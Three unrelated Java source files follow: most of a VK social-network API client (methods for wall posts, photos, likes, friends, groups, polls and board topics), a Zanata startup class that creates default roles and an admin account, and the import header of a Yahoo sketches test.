params.put("aid", String.valueOf(aid));
params.put("title", title);
params.put("privacy", privacy);
params.put("comment_privacy", comment_privacy);
params.put("description", description);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
/*** for notes ***/
public ArrayList<Note> getNotes(Long uid, Collection<Long> nids, String sort, Long count, Long offset) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("notes.get");
params.put("uid", uid);
params.put("nids", arrayToString(nids));
params.put("sort", sort);
params.put("count", count);
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Note> notes = new ArrayList<Note>();
if (array != null) {
for(int i = 1; i<array.length(); ++i) {
JSONObject o = (JSONObject)array.get(i);
Note note = Note.parse(o, true);
notes.add(note);
}
}
return notes;
}
public String deleteNote(Long nid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("notes.delete");
params.put("nid", nid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public String photosGetUploadServer(long album_id, Long group_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.getUploadServer");
params.put("aid",album_id);
params.put("gid",group_id);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return response.getString("upload_url");
}
public String photosGetWallUploadServer(Long user_id, Long group_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.getWallUploadServer");
params.put("uid",user_id);
params.put("gid",group_id);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return response.getString("upload_url");
}
public String getAudioUploadServer() throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("getAudioUploadServer");
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return response.getString("upload_url");
}
public String photosGetMessagesUploadServer() throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.getMessagesUploadServer");
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return response.getString("upload_url");
}
public String photosGetProfileUploadServer() throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.getProfileUploadServer");
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return response.getString("upload_url");
}
public ArrayList<Photo> photosSave(String server, String photos_list, Long aid, Long group_id, String hash) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.save");
params.put("server",server);
params.put("photos_list",photos_list);
params.put("aid",aid);
params.put("gid",group_id);
params.put("hash",hash);
JSONObject root = sendRequest(params);
JSONArray array=root.getJSONArray("response");
ArrayList<Photo> photos = parsePhotos(array);
return photos;
}
public ArrayList<Photo> saveWallPhoto(String server, String photo, String hash, Long user_id, Long group_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.saveWallPhoto");
params.put("server",server);
params.put("photo",photo);
params.put("hash",hash);
params.put("uid",user_id);
params.put("gid",group_id);
JSONObject root = sendRequest(params);
JSONArray array=root.getJSONArray("response");
ArrayList<Photo> photos = parsePhotos(array);
return photos;
}
public Audio saveAudio(String server, String audio, String hash, String artist, String title) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("saveAudio");
params.put("server",server);
params.put("audio",audio);
params.put("hash",hash);
params.put("artist",artist);
params.put("title",title);
JSONObject root = sendRequest(params);
JSONObject response=root.getJSONObject("response");
return Audio.parse(response);
}
public ArrayList<Photo> saveMessagesPhoto(String server, String photo, String hash) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.saveMessagesPhoto");
params.put("server",server);
params.put("photo",photo);
params.put("hash",hash);
JSONObject root = sendRequest(params);
JSONArray array=root.getJSONArray("response");
ArrayList<Photo> photos = parsePhotos(array);
return photos;
}
public String[] saveProfilePhoto(String server, String photo, String hash) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.saveProfilePhoto");
params.put("server",server);
params.put("photo",photo);
params.put("hash",hash);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
String src = response.optString("photo_src");
String hash1 = response.optString("photo_hash");
String[] res=new String[]{src, hash1};
return res;
}
private ArrayList<Photo> parsePhotos(JSONArray array) throws JSONException {
ArrayList<Photo> photos=new ArrayList<Photo>();
int category_count=array.length();
for(int i=0; i<category_count; ++i){
//in getUserPhotos first element is integer
if(array.get(i) instanceof JSONObject == false)
continue;
JSONObject o = (JSONObject)array.get(i);
Photo p = Photo.parse(o);
photos.add(p);
}
return photos;
}
/*public long createGraffitiComment(String gid, String owner_id, String message, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("graffiti.createComment");
params.put("gid",gid);
params.put("owner_id",owner_id);
addCaptchaParams(captcha_key, captcha_sid, params);
params.put("message",message);
JSONObject root = sendRequest(params);
long message_id = root.optLong("response");
return message_id;
}*/
public long createWallComment(Long owner_id, Long post_id, String text, Long reply_to_cid, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("wall.addComment");
params.put("owner_id", owner_id);
params.put("post_id", post_id);
params.put("text", text);
params.put("reply_to_cid", reply_to_cid);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
long cid = response.optLong("cid");
return cid;
}
public long createWallPost(long owner_id, String text, Collection<String> attachments, String export, boolean only_friends, boolean from_group, boolean signed, String lat, String lon, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("wall.post");
params.put("owner_id", owner_id);
params.put("attachments", arrayToString(attachments));
params.put("lat", lat);
params.put("long", lon);
params.put("message", text);
if(export!=null && export.length()!=0)
params.put("services",export);
if (from_group)
params.put("from_group","1");
if (only_friends)
params.put("friends_only","1");
if (signed)
params.put("signed","1");
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
long post_id = response.optLong("post_id");
return post_id;
}
public CommentList getWallComments(Long owner_id, Long post_id, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("wall.getComments");
params.put("post_id", post_id);
params.put("owner_id", owner_id);
if (offset > 0)
params.put("offset", offset);
if (count > 0)
params.put("count", count);
params.put("preview_length", "0");
params.put("need_likes", "1");
JSONObject root = sendRequest(params);
JSONArray array = root.getJSONArray("response");
CommentList commnets = new CommentList();
commnets.count=array.getInt(0);
int category_count = array.length();
for(int i = 1; i<category_count; ++i) //get(0) is integer, it is comments count
commnets.comments.add(Comment.parse((JSONObject)array.get(i)));
return commnets;
}
public ArrayList<Audio> searchAudio(String q, String sort, String lyrics, Long count, Long offset) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("audio.search");
params.put("q", q);
params.put("sort", sort);
params.put("lyrics", lyrics);
params.put("count", count);
params.put("offset", offset);
params.put("auto_complete", "1");
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
return parseAudioList(array, 1);
}
private ArrayList<Audio> parseAudioList(JSONArray array, int type_array) //type_array must be 0 or 1
throws JSONException {
ArrayList<Audio> audios = new ArrayList<Audio>();
if (array != null) {
for(int i = type_array; i<array.length(); ++i) { //get(0) is integer, it is audio count
JSONObject o = (JSONObject)array.get(i);
audios.add(Audio.parse(o));
}
}
return audios;
}
public String deleteAudio(Long aid, Long oid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("audio.delete");
params.put("aid", aid);
params.put("oid", oid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public String addAudio(Long aid, Long oid, Long gid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("audio.add");
params.put("aid", aid);
params.put("oid", oid);
params.put("gid", gid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public Long wallAddLike(Long owner_id, Long post_id, boolean need_publish, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("wall.addLike");
params.put("owner_id", owner_id);
params.put("post_id", post_id);
params.put("need_publish", need_publish?"1":"0");
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
long likes=response.optLong("likes", -1);
return likes;
}
public Long wallDeleteLike(Long owner_id, Long post_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("wall.deleteLike");
params.put("owner_id", owner_id);
params.put("post_id", post_id);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
long likes=response.optLong("likes", -1);
return likes;
}
public Long addLike(Long owner_id, Long item_id, String type, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("likes.add");
params.put("owner_id", owner_id);
params.put("item_id", item_id);
params.put("type", type);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
long likes=response.optLong("likes", -1);
return likes;
}
public Long deleteLike(Long owner_id, Long item_id, String type) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("likes.delete");
params.put("owner_id", owner_id);
params.put("item_id", item_id);
params.put("type", type);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
long likes=response.optLong("likes", -1);
return likes;
}
public Long addLike(Long owner_id, String type, Long item_id, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("likes.add");
params.put("owner_id", owner_id);
params.put("type", type);
params.put("item_id", item_id);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
return response.optLong("likes", -1);
}
public Long deleteLike(Long owner_id, String type, Long item_id, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("likes.delete");
params.put("owner_id", owner_id);
params.put("type", type);
params.put("item_id", item_id);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
return response.optLong("likes", -1);
}
public ArrayList<Photo> getPhotosById(String photos) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getById");
params.put("photos", photos);
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
if (array == null)
return new ArrayList<Photo>();
ArrayList<Photo> photos1 = parsePhotos(array);
return photos1;
}
public ArrayList<Group> getUserGroups(Long user_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("groups.get");
params.put("extended","1");
params.put("uid",user_id);
JSONObject root = sendRequest(params);
ArrayList<Group> groups=new ArrayList<Group>();
JSONArray array=root.optJSONArray("response");
//if there are no groups "response" will not be array
if(array==null)
return groups;
groups = Group.parseGroups(array);
return groups;
}
public Boolean removeWallPost(Long post_id, long wall_owner_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("wall.delete");
params.put("owner_id", wall_owner_id);
params.put("post_id", post_id);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
public Boolean deleteWallComment(Long wall_owner_id, long comment_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("wall.deleteComment");
params.put("owner_id", wall_owner_id);
params.put("cid", comment_id);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
public Boolean deleteNoteComment(Long note_owner_id, long comment_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("notes.deleteComment");
params.put("owner_id", note_owner_id);
params.put("cid", comment_id);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
public Boolean deleteVideoComment(Long video_owner_id, long comment_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("video.deleteComment");
params.put("owner_id", video_owner_id);
params.put("cid", comment_id);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
public Boolean deletePhotoComment(long photo_id, Long photo_owner_id, long comment_id) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("photos.deleteComment");
params.put("owner_id", photo_owner_id);
params.put("cid", comment_id);
params.put("pid", photo_id);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
public ArrayList<Video> searchVideo(String q, String sort, String hd, Long count, Long offset) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("video.search");
params.put("q", q);
params.put("sort", sort);
params.put("hd", hd);
params.put("count", count);
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Video> videoss = new ArrayList<Video>();
if (array != null) {
for(int i = 0; i<array.length(); ++i) {
JSONObject o = (JSONObject)array.get(i);
Video video = Video.parse(o);
videoss.add(video);
}
}
String video_ids = "";
for (Video v:videoss) {
video_ids = video_ids + String.valueOf(v.owner_id) + "_" + String.valueOf(v.vid) + ",";
}
return getVideo(video_ids, null, null, null, null);
}
//no documentation
public ArrayList<User> searchUser(String q, String fields, Long count, Long offset) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("users.search");
params.put("q", q);
params.put("count", count);
params.put("offset", offset);
params.put("fields", fields);
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
return User.parseUsers(array);
}
public String deleteVideo(Long vid, Long oid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("video.delete");
params.put("vid", vid);
params.put("oid", oid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public String addVideo(Long vid, Long oid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("video.add");
params.put("vid", vid);
params.put("oid", oid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public long createNote(String title, String text) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("notes.add");
params.put("title", title);
params.put("text", text);
params.put("privacy", "0");
params.put("comment_privacy", "0");
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
long note_id = response.optLong("nid");
return note_id;
}
public Object[] getLongPollServer() throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.getLongPollServer");
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
String key=response.getString("key");
String server=response.getString("server");
Long ts = response.getLong("ts");
return new Object[]{key, server, ts};
}
public void setOnline() throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("activity.online");
sendRequest(params);
}
public long addFriend(Long uid, String text, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("friends.add");
params.put("uid", uid);
params.put("text", text);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
return root.optLong("response");
}
public long deleteFriend(Long uid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("friends.delete");
params.put("uid", uid);
JSONObject root = sendRequest(params);
return root.optLong("response");
}
public ArrayList<Object[]> getRequestsFriends() throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("friends.getRequests");
params.put("need_messages", "1");
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
ArrayList<Object[]> users=new ArrayList<Object[]>();
if (array != null) {
int category_count=array.length();
for(int i=0; i<category_count; ++i) {
JSONObject item = array.optJSONObject(i);
if (item != null) {
Long id = item.optLong("uid", -1);
if (id!=-1) {
Object[] u = new Object[2];
u[0] = id;
u[1] = item.optString("message");
users.add(u);
}
}
}
}
return users;
}
public String followUser(Long uid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("subscriptions.follow");
params.put("uid", uid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public String unfollowUser(Long uid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("subscriptions.unfollow");
params.put("uid", uid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public ArrayList<Long> getSubscriptions(Long uid, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("subscriptions.get");
params.put("uid", uid);
if (offset>0)
params.put("offset", offset);
if (count>0)
params.put("count", count);
JSONObject root = sendRequest(params);
JSONObject response=root.getJSONObject("response");
JSONArray array=response.optJSONArray("users");
ArrayList<Long> users=new ArrayList<Long>();
if (array != null) {
int category_count=array.length();
for(int i=0; i<category_count; ++i){
Long id = array.optLong(i, -1);
if(id!=-1)
users.add(id);
}
}
return users;
}
public ArrayList<Long> getFollowers(Long uid, int offset, int count) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("subscriptions.getFollowers");
params.put("uid", uid);
if (offset>0)
params.put("offset", offset);
if (count>0)
params.put("count", count);
JSONObject root = sendRequest(params);
JSONObject response=root.getJSONObject("response");
JSONArray array=response.optJSONArray("users");
ArrayList<Long> users=new ArrayList<Long>();
if (array != null) {
int category_count=array.length();
for(int i=0; i<category_count; ++i){
Long id = array.optLong(i, -1);
if(id!=-1)
users.add(id);
}
}
return users;
}
public int deleteMessageThread(Long uid, Long chatId) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("messages.deleteDialog");
params.put("uid", uid);
params.put("chat_id", chatId);
JSONObject root = sendRequest(params);
return root.getInt("response");
}
public void execute(String code) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("execute");
params.put("code", code);
sendRequest(params);
}
public boolean deletePhoto(Long owner_id, Long photo_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.delete");
params.put("oid", owner_id);
params.put("pid", photo_id);
JSONObject root = sendRequest(params);
long response = root.optLong("response", -1);
return response==1;
}
public VkPoll getPoll(long poll_id, long owner_id) throws JSONException, MalformedURLException, IOException, KException {
Params params = new Params("polls.getById");
params.put("owner_id", owner_id);
params.put("poll_id", poll_id);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return VkPoll.parse(response);
}
public int addPollVote(long poll_id, long answer_id, long owner_id) throws JSONException, MalformedURLException, IOException, KException {
Params params = new Params("polls.addVote");
params.put("owner_id", owner_id);
params.put("poll_id", poll_id);
params.put("answer_id", answer_id);
JSONObject root = sendRequest(params);
return root.getInt("response");
}
public int deletePollVote(long poll_id, long answer_id, long owner_id) throws JSONException, MalformedURLException, IOException, KException {
Params params = new Params("polls.deleteVote");
params.put("owner_id", owner_id);
params.put("poll_id", poll_id);
params.put("answer_id", answer_id);
JSONObject root = sendRequest(params);
return root.getInt("response");
}
public ArrayList<FriendsList> friendsLists() throws JSONException, MalformedURLException, IOException, KException {
Params params = new Params("friends.getLists");
JSONObject root = sendRequest(params);
ArrayList<FriendsList> result = new ArrayList<FriendsList>();
JSONArray list = root.optJSONArray("response");
if (list != null) {
for (int i=0; i<list.length(); ++i) {
JSONObject o = list.getJSONObject(i);
FriendsList fl = FriendsList.parse(o);
result.add(fl);
}
}
return result;
}
public String saveVideo(String name, String description, Long gid, int privacy_view, int privacy_comment) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("video.save");
params.put("name", name);
params.put("description", description);
params.put("gid", gid);
if (privacy_view > 0)
params.put("privacy_view", privacy_view);
if (privacy_comment > 0)
params.put("privacy_comment", privacy_comment);
JSONObject root = sendRequest(params);
JSONObject response = root.getJSONObject("response");
return response.getString("upload_url");
}
public String deleteAlbum(Long aid) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.deleteAlbum");
params.put("aid", aid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
public ArrayList<PhotoTag> getPhotoTagsById(Long pid, Long owner_id) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("photos.getTags");
params.put("owner_id", owner_id);
params.put("pid", pid);
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
if (array == null)
return new ArrayList<PhotoTag>();
ArrayList<PhotoTag> photo_tags = parsePhotoTags(array, pid, owner_id);
return photo_tags;
}
private ArrayList<PhotoTag> parsePhotoTags(JSONArray array, Long pid, Long owner_id) throws JSONException {
ArrayList<PhotoTag> photo_tags=new ArrayList<PhotoTag>();
int category_count=array.length();
for(int i=0; i<category_count; ++i){
//in getUserPhotos first element is integer
if(array.get(i) instanceof JSONObject == false)
continue;
JSONObject o = (JSONObject)array.get(i);
PhotoTag p = PhotoTag.parse(o);
photo_tags.add(p);
if (pid != null)
p.pid = pid;
if (owner_id != null)
p.owner_id = owner_id;
}
return photo_tags;
}
public String putPhotoTag(PhotoTag ptag) throws MalformedURLException, IOException, JSONException, KException {
if (ptag == null)
return null;
Params params = new Params("photos.putTag");
params.put("owner_id", ptag.owner_id);
params.put("pid", ptag.pid);
params.put("uid", ptag.uid);
params.putDouble("x", ptag.x);
params.putDouble("x2", ptag.x2);
params.putDouble("y", ptag.y);
params.putDouble("y2", ptag.y2);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
/*** topics region ***/
//http://kate1.unfuddle.com/a#/projects/2/tickets/by_number/340?cycle=true
public ArrayList<GroupTopic> getGroupTopics(long gid, int extended, int count, int offset) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("board.getTopics");
params.put("gid", gid);
if (extended == 1)
params.put("extended", "1"); //for profiles
if (count > 0)
params.put("count", count);
if (offset > 0)
params.put("offset", offset);
JSONObject root = sendRequest(params);
ArrayList<GroupTopic> result = new ArrayList<GroupTopic>();
JSONObject response = root.optJSONObject("response");
if (response != null) {
JSONArray topics = response.optJSONArray("topics");
if (topics != null) {
for (int i=1; i<topics.length(); ++i) {
JSONObject o = topics.getJSONObject(i);
GroupTopic gt = GroupTopic.parse(o);
gt.gid = gid;
result.add(gt);
}
}
}
return result;
}
public CommentList getGroupTopicComments(long gid, long tid, int photo_sizes, int extended, int count, int offset) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("board.getComments");
params.put("gid", gid);
params.put("tid", tid);
if (photo_sizes == 1)
params.put("photo_sizes", "1");
if (extended == 1)
params.put("extended", "1");
if (count > 0)
params.put("count", count);
if (offset > 0)
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
CommentList result = new CommentList();
if (response != null) {
JSONArray comments = response.optJSONArray("comments");
int category_count = comments.length();
result.count=comments.getInt(0);
for (int i=1; i<category_count; ++i) { //get(0) is integer, it is comments count
JSONObject o = comments.getJSONObject(i);
Comment c = Comment.parseTopicComment(o);
result.comments.add(c);
}
}
return result;
}
public long createGroupTopicComment(long gid, long tid, String text, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("board.addComment");
params.put("gid", gid);
params.put("tid", tid);
params.put("text", text);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
long message_id = root.optLong("response");
return message_id;
}
public Boolean deleteGroupTopicComment(long gid, long tid, long cid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("board.deleteComment");
params.put("gid", gid);
params.put("tid", tid);
params.put("cid", cid);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
public long createGroupTopic(long gid, String title, String text, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("board.addTopic");
params.put("gid", gid);
params.put("title", title);
params.put("text", text);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
long topic_id = root.optLong("response");
return topic_id;
}
public Boolean deleteGroupTopic(long gid, long tid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("board.deleteTopic");
params.put("gid", gid);
params.put("tid", tid);
JSONObject root = sendRequest(params);
int response = root.optInt("response");
return response==1;
}
/*** end topics region ***/
public ArrayList<Group> getGroups(Collection<Long> uids, String domain, String fields) throws MalformedURLException, IOException, JSONException, KException{
if (uids == null && domain == null)
return null;
if (uids.size() == 0 && domain == null)
return null;
Params params = new Params("groups.getById");
String str_uids;
if (uids != null && uids.size() > 0)
str_uids=arrayToString(uids);
else
str_uids = domain;
params.put("gids", str_uids);
params.put("fields", fields); //Possible values: place,wiki_page,city,country,description,start_date,finish_date,site
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
return Group.parseGroups(array);
}
//no documentation
public String joinGroup(long gid, String captcha_key, String captcha_sid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("groups.join");
params.put("gid", gid);
addCaptchaParams(captcha_key, captcha_sid, params);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
//no documentation
public String leaveGroup(long gid) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("groups.leave");
params.put("gid", gid);
JSONObject root = sendRequest(params);
Object response_code = root.opt("response");
if (response_code != null)
return String.valueOf(response_code);
return null;
}
//no documentation
public ArrayList<Group> searchGroup(String q, Long count, Long offset) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("groups.search");
params.put("q", q);
params.put("count", count);
params.put("offset", offset);
JSONObject root = sendRequest(params);
JSONArray array=root.optJSONArray("response");
ArrayList<Group> groups = new ArrayList<Group>();
//if there are no groups "response" will not be array
if (array==null)
return groups;
groups = Group.parseGroups(array);
return groups;
}
public String registerDevice(String token, String device_model, String system_version, Integer no_text)
throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("account.registerDevice");
params.put("token", token);
params.put("device_model", device_model);
params.put("system_version", system_version);
params.put("no_text", no_text);
JSONObject root = sendRequest(params);
return root.getString("response");
}
public String unregisterDevice(String token) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("account.unregisterDevice");
params.put("token", token);
JSONObject root = sendRequest(params);
return root.getString("response");
}
public Notifications getNotifications(String filters, Long start_time, Long end_time, Integer offset, Integer count) throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("notifications.get");
if (filters != null)
params.put("filters", filters);
if (start_time != null)
params.put("start_time", start_time);
if (end_time != null)
params.put("end_time", end_time);
if (offset != null)
params.put("offset", offset);
if (count != null && count > 0)
params.put("count", count);
JSONObject root = sendRequest(params);
JSONObject response = root.optJSONObject("response");
return Notifications.parse(response);
}
public String resetUnreadNotifications() throws MalformedURLException, IOException, JSONException, KException {
Params params = new Params("notifications.markAsViewed");
JSONObject root = sendRequest(params);
return root.getString("response");
}
public ArrayList<Message> getMessagesById(ArrayList<Long> message_ids) throws MalformedURLException, IOException, JSONException, KException{
Params params = new Params("messages.getById");
params.put("mids", arrayToString(message_ids));
JSONObject root = sendRequest(params);
JSONArray array = root.optJSONArray("response");
ArrayList<Message> messages = parseMessages(array, false, 0, false, 0);
return messages;
}
}
|
package org.zanata.util;
import java.util.List;
import javax.persistence.EntityManager;
import org.jboss.seam.Component;
import org.jboss.seam.ScopeType;
import org.jboss.seam.annotations.In;
import org.jboss.seam.annotations.Install;
import org.jboss.seam.annotations.Logger;
import org.jboss.seam.annotations.Name;
import org.jboss.seam.annotations.Observer;
import org.jboss.seam.annotations.Scope;
import org.jboss.seam.annotations.Transactional;
import org.jboss.seam.core.Events;
import org.jboss.seam.log.Log;
import org.zanata.ZanataInit;
import org.zanata.dao.AccountDAO;
import org.zanata.dao.AccountRoleDAO;
import org.zanata.model.HAccount;
import org.zanata.model.HPerson;
/**
* Ensures that roles 'user', 'admin' and 'translator' exist, and that there is
* at least one admin user.
*
* @author Sean Flanigan
*/
@Name("essentialDataCreator")
@Scope(ScopeType.APPLICATION)
@Install(false)
public class EssentialDataCreator
{
// You can listen to this event during startup
public static final String ESSENTIAL_DATA_CREATED_EVENT = "EssentialDataCreator.complete";
@Logger
private static Log log;
@In
private EntityManager entityManager;
private boolean prepared;
public String username;
public String password;
public String email;
public String name;
public String apiKey;
@In
AccountDAO accountDAO;
@In
AccountRoleDAO accountRoleDAO;
// Do it when the application starts (but after everything else has been
// loaded)
@Observer("org.jboss.seam.postInitialization")
@Transactional
public void prepare()
{
if (!prepared)
{
boolean adminExists;
if (!accountRoleDAO.roleExists("user"))
{
log.info("Creating 'user' role");
if (accountRoleDAO.create("user") == null)
{
throw new RuntimeException("Couldn't create 'user' role");
}
}
if (accountRoleDAO.roleExists("admin"))
{
List<?> adminUsers = accountRoleDAO.listMembers("admin");
adminExists = !adminUsers.isEmpty();
}
else
{
log.info("Creating 'admin' role");
if (accountRoleDAO.create("admin", "user") == null)
{
throw new RuntimeException("Couldn't create 'admin' role");
}
adminExists = false;
}
ZanataInit zanataInit = (ZanataInit) Component.getInstance(ZanataInit.class);
if (!adminExists && zanataInit.isInternalAuthentication())
{
log.warn("No admin users found: creating default user 'admin'");
HAccount account = accountDAO.create(username, password, true);
account.setApiKey(apiKey);
account.getRoles().add(accountRoleDAO.findByName("admin"));
account.getRoles().add(accountRoleDAO.findByName("user"));
accountDAO.flush();
HPerson person = new HPerson();
person.setAccount(account);
person.setEmail(email);
person.setName(name);
entityManager.persist(person);
}
if (!accountRoleDAO.roleExists("translator"))
{
log.info("Creating 'translator' role");
if (accountRoleDAO.create("translator") == null)
{
throw new RuntimeException("Couldn't create 'translator' role");
}
}
prepared = true;
}
Events.instance().raiseEvent(ESSENTIAL_DATA_CREATED_EVENT);
}
}
|
package com.yahoo.sketches.theta;
import static com.yahoo.sketches.Util.DEFAULT_UPDATE_SEED;
import static com.yahoo.sketches.theta.PreambleUtil.PREAMBLE_LONGS_BYTE;
import static com.yahoo.sketches.theta.PreambleUtil.RETAINED_ENTRIES_INT;
import static com.yahoo.sketches.theta.PreambleUtil.SER_VER_BYTE;
import static org.testng.Assert.assertEquals;
import static org.testng.Assert.assertFalse;
import static org.testng.Assert.assertTrue;
import org.testng.annotations.Test;
import com.yahoo.memory.Memory;
import com.yahoo.memory.NativeMemory;
import com.yahoo.sketches.Family;
import com.yahoo.sketches.SketchesArgumentException;
